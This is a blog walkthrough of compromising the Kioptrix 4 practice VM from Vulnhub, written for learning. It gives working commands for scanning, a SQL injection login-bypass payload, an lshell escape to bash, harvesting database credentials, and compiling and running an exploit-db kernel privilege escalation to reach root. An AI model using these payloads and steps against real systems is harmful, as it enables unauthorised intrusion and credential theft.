Booj thoughts on security
Vulnhub - Kioptrix 4
So we’ve reached Kioptrix #4. I felt much more confident this time than before, so whilst before I’ve had to rely on other walkthroughs to guide myself to an answer if I felt I wasn’t getting anywhere, here I resolved to spend as long as possible actually enumerating everything before I resorted to it.
Begin
As is tradition, Kioptrix #4 has been loaded up on our box, so lets work out it’s IP address. Networking on both boxes went to complete hell so I spent an embarassing amount of time debugging dhcp and dns issues this time.
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.137.1 00:50:56:c0:00:01 VMware, Inc.
192.168.137.135 00:0c:29:51:24:d9 VMware, Inc.
192.168.137.254 00:50:56:fe:05:d2 VMware, Inc.
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 1.861 seconds (137.56 hosts/sec). 3 responded
Next port of call lets do an nmap scan.
root@kali:~# nmap -A 192.168.137.135
Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-04-21 16:47 BST
Nmap scan report for 192.168.137.135
Host is up (0.00037s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:51:24:D9 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2017-04-21T12:47:27-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
TRACEROUTE
HOP RTT ADDRESS
1 0.37 ms 192.168.137.135
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.49 seconds
Again, there’s an open ssh port and a http server. Further there were two samba servers running.
SMB Aside
To cut a long story short on these, I attempted to break in through these when other attempts were failing but didn’t really get anywhere, and honestly I got stuck trying to actually mount the samba share but I’ll include the commands I tried running if anyone wants to correct me or just as a reference for myself in the future. I don’t know if this was actually a viable exploit vector but I spent a while on it so just in case I have to do all this in the future.
root@kali:~# nmap --script smb-enum-shares .nse -p139 192.168.137.135
root@kali:~# enum4linux 192.168.137.135
root@kali:~# mount -t cifs -o user='',pass='',sec=ntlm //192.168.137.135/IPC$ /mnt/point
Another Goat Website
This guy sure likes goats.
I ran dirb on the directory before trying anything else.
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.137.135/ ----
+ http://192.168.137.135/cgi-bin/ (CODE:403|SIZE:330)
==> DIRECTORY: http://192.168.137.135/images/
+ http://192.168.137.135/index (CODE:200|SIZE:1255)
+ http://192.168.137.135/index.php (CODE:200|SIZE:1255)
==> DIRECTORY: http://192.168.137.135/john/
+ http://192.168.137.135/logout (CODE:302|SIZE:0)
+ http://192.168.137.135/member (CODE:302|SIZE:220)
+ http://192.168.137.135/server-status (CODE:403|SIZE:335)
---- Entering directory: http://192.168.137.135/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.137.135/john/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
After looking around nothing looked easily exploitable so now seemed like a good time to try out some SQL injection. This one actually took me a while, as while I do have a general idea how it works actually crafting my own query was quite difficult.
With some help from some beginner guides I realised after going through all the error pages that the password field was injectable but the username field was not. The reason for this was the username field yielding urls like http://192.168.137.135/member.php?username=\%27%20OR%20\%27\%27=\%27, which has the quotation marks escaped.
From the dirb results it was reasonable to assume that john was a user on the box so I tried that.
Username: john
Password: ‘ OR ‘’=
Well, that’s the oddest user control panel I’ve ever seen, but what the hell, we got creds.
SSH of Doom
So I had creds for some useless web app, but hopefully password reuse is in full effect, so I attempted to SSH into the box. Lo and behold.
root@kali:~# ssh -l john 192.168.137.135
The authenticity of host '192.168.137.135 (192.168.137.135)' can't be established.
RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.137.135' (RSA) to the list of known hosts.
john@192.168.137.135's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ ?
cd clear echo exit help ll lpath ls
john:~$ echo $PATH
*** forbidden path -> "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.
So, looks like we’re heavily restricted, but we’re on the box at least.
This one had me stumped for absolutely ages to be honest, with certain results sending me down completely the wrong path.
john:~$ echo $SHELL
*** forbidden path -> "/bin/kshell"
From that I ended up thinking some really obscure shell program was installed and just spent absolutely ages on completely the wrong solution.
john:~$ sudo
Traceback (most recent call last):
File "/bin/kshell", line 27, in <module>
lshell.main()
File "/usr/lib/python2.5/site-packages/lshell.py", line 1219, in main
cli.cmdloop()
File "/usr/lib/python2.5/site-packages/lshell.py", line 410, in cmdloop
stop = self.onecmd(line)
File "/usr/lib/python2.5/site-packages/lshell.py", line 531, in onecmd
func = getattr(self, 'do_' + cmd)
File "/usr/lib/python2.5/site-packages/lshell.py", line 132, in __getattr__
if self.check_secure(self.g_line, self.conf['strict']) == 1:
File "/usr/lib/python2.5/site-packages/lshell.py", line 247, in check_secure
if cmdargs[1] not in self.conf['sudo_commands'] and cmdargs:
TypeError: 'NoneType' object is unsubscriptable
Connection to 192.168.137.135 closed.
And then this came up. To be honest it took a bit of nudging and very careful googling to give me a hint that I was going in the wrong direction.
There is an exploit for this version of lshell, and while I could get it to work escaping the shell, I couldn’t wget any wanted scripts or do anything of any real use on the box without it hanging. However, we know we can input commands, so with some more careful googling:
root@kali:~/Documents# ssh 192.168.137.135 -l john
john@192.168.137.135's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ echo os.system('/bin/bash')
Well that works, and now we have a shell but we need to escalate our privileges.
So I thought it would be a good idea to check out /var/www/ and see if I could harvest credentials. Checklogin.php had the database ones we needed.
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
So I loaded up mysql and sought after some credentials. In the members table we get what we’re looking for.
mysql> SELECT * FROM members;
+----+----------+-----------------------+
| id | username | password |
+----+----------+-----------------------+
| 1 | john | MyNameIsJohn |
| 2 | robert | ADGAdsafdfwt4gadfga== |
+----+----------+-----------------------+
2 rows in set (0.00 sec)
So I hoped maybe I could use roberts credentials to get a higher level of privilege, but alas he has exactly the same restrictions as john.
Exploit
After a lot of searching I decided to see if a kernel exploit existed.
robert@Kioptrix4:/$ cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
Linux version 2.6.24-24-server
robert@Kioptrix4:/$ uname -a
Linux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
So it’s an x86 linux won version 2.6.24, I wonder if there’s an exploit around (It’s old so probably). In the end, after trying a few, this sendpage exploit ended up working.
root@kali:~# sudo apt-get install libc6-dev-i386
kali:~# cp /usr/share/exploitdb/platforms/linux/local/9545.c .
root@kali:~# gcc 9545.c -o newexp -m32
root@kali:~#
I then opened up a python server on the directory and wget’d it to the tmp directory.
robert@Kioptrix4:/tmp$ wget 192.168.137.131:8000/newexp
--16:45:35-- http://192.168.137.131:8000/newexp
=> `newexp'
Connecting to 192.168.137.131:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7,944 (7.8K) [application/octet-stream]
100%[=======================================================================================================================================================================>] 7,944 --.--K/s
16:45:35 (1.05 GB/s) - `newexp' saved [7944/7944]
robert@Kioptrix4:/tmp$ ls
exp_12 exp2 newexp
robert@Kioptrix4:/tmp$ chmod 777 newexp
robert@Kioptrix4:/tmp$ ./newexp
# id
uid=0(root) gid=0(root) groups=1002(robert)
Yay, we got root!
# cat congrats.txt
Congratulations!
You've got root.
There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.
It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.
If you haven't already, check out the other VMs available on:
www.kioptrix.com
Thanks for playing,
loneferret
This was an absolutely fantastic box and I feel like I learnt a tonne going through it. Now on to Kioptrix 5.
Written on April 21st , 2017 by Josiah Beverton